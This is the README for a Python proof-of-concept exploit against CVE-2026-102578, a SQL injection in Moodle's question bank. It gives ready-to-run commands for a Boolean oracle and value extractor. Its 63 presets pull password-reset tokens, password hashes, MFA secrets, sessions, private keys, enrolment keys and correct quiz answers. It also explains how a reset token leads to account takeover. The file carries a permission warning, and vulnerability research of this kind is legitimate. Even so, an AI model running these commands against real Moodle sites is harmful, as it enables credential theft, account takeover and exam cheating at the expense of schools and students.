
Dependency-free Python proof of concept for CVE-2026-102578, a Moodle question-bank SQL injection. Detects the vulnerable path, evaluates Boolean SQL expressions, and extracts scalar values via 63 presets.
+------------------------------------------------------+
| CVE-2026-102578 |
| Moodle question bank SQL injection |
| Boolean oracle, scalar extractor, 63 Moodle presets |
+------------------------------------------------------+
A dependency-free Python proof of concept for CVE-2026-102578. It detects the vulnerable Moodle path, evaluates Boolean SQL expressions, and recovers scalar database values. Its built-in presets cover account recovery, access tokens, assessments, grades, submissions, messages, private-file metadata, course content, configuration, and bundled integrations.
An active password-reset token can lead to account takeover through Moodle's normal reset flow. The exact conditions, verified chains, and limits are in the full impact review.
[!WARNING] Use this tool only on systems that you own or have explicit permission to assess.
Quick start | Authentication | Presets | Output | Affected versions | Validation | Impact review
You need Python 3.10 or newer, the Moodle base URL, a course ID, and the course-module ID of a quiz.
| Value | URL example | Option |
|---|---|---|
| Course ID | /course/view.php?id=42 | --course-id 42 |
| Quiz course-module ID | /mod/quiz/view.php?id=137 | --cmid 137 |
The cmid is the id from the quiz URL. It is not the quiz database ID.
These examples use python3 and POSIX shell line continuations. In PowerShell, use py -3 and paste each command on one line.
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--preset reset-token --param username=alice
The preset returns the latest stored token. A stored token can be expired or consumed. A current token for an eligible local account can authorize a password change and cause account takeover.
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--preset quiz-question-text --param slot=1
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--preset quiz-correct-answer --param slot=1
The answer preset is intentionally exact. It supports a fixed, single-choice question with one full-credit answer. Attempt presets cover the question, right-answer summary, and response that Moodle stored for a user's actual attempt.
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--evaluate "EXISTS(SELECT 1 FROM {user} WHERE username='admin')"
The result is TRUE, FALSE, or NULL.
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--extract "VERSION()"
MariaDB is the default dialect. Use --dialect mysql for MySQL or --dialect postgresql for PostgreSQL. Include the Moodle path in --url for a subdirectory install, such as https://example.org/learning.
[!CAUTION] The vulnerable workflow can create a default question category when none exists. Use a disposable clone if database changes are not acceptable.
| Method | Select with | Secret source |
|---|---|---|
| Guest | No authentication option | None |
| Moodle account | --username USER | Hidden prompt or MOODLE_PASSWORD |
| Existing session | --moodle-session VALUE | Argument or MOODLE_SESSION |
With no authentication option, the tool signs in through Moodle's built-in guest flow. Guest login must be enabled, and the vulnerable fragment must accept the request. Normal course or quiz access can still be denied. This behavior is configuration-dependent.
Use an account:
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 --username alice
Reuse a session:
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--moodle-session "abc123..."
MoodleSession=.--sesskey KEY if needed.--cookie-name NAME for a custom session cookie name.List the complete catalog:
python3 poc.py --list-presets
python3 poc.py --list-presets --json
The human view groups all 63 presets by purpose.
| Group | Coverage |
|---|---|
system | Database, Moodle release, site, and administrator discovery |
account | Identity, profile data, password hashes, confirmation secrets, and reset tokens |
access | Sessions, web services, OAuth, MFA, private keys, MNet, badge data, and device push IDs |
learning | Messages, notifications, grades, assignments, private-file metadata, and log IP addresses |
assessment | Fixed questions, full-credit answers, and stored quiz-attempt data |
course | Enrolment keys, quiz passwords, and override passwords |
content | Forum posts and page content |
integration | Repository, portfolio, hub, inbound mail, and LTI secrets |
config | Core and plugin configuration values |
Repeat --param name=value when a preset needs more than one value:
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--preset mfa-factor-secret \
--param username=alice \
--param factor=totp
Presets that target the selected course or quiz use --course-id and --cmid automatically. Numeric selectors for other records are shown in --list-presets.
Preset values are encoded as UTF-8 SQL literals. Quotes and backslashes in a value cannot change the generated query structure.
NULL means that the selected stored value was not found. It can also mean that the feature uses another backend. For example, session-data returns NULL when session payloads are not stored in the database.
The tool reports stored data. A returned token, key, or credential is not by itself proof that it is current or accepted.
Use a file for long SQL or inconvenient shell quoting:
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--evaluate-file expression.sql
python3 poc.py --url https://moodle.example --course-id 42 --cmid 137 \
--extract-file expression.sql
Use - as the file name to read from standard input.
| Option | Purpose |
|---|---|
--json | Write one machine-readable result or error document |
--hex | Print recovered bytes as hexadecimal |
--output FILE | Write the exact recovered bytes to a file |
--force | Replace an existing output file |
--no-progress | Hide extraction progress |
Recovered values go to standard output. Progress and status go to standard error. Interactive terminals use compact color tags. Use --color always, --color never, or NO_COLOR to control them.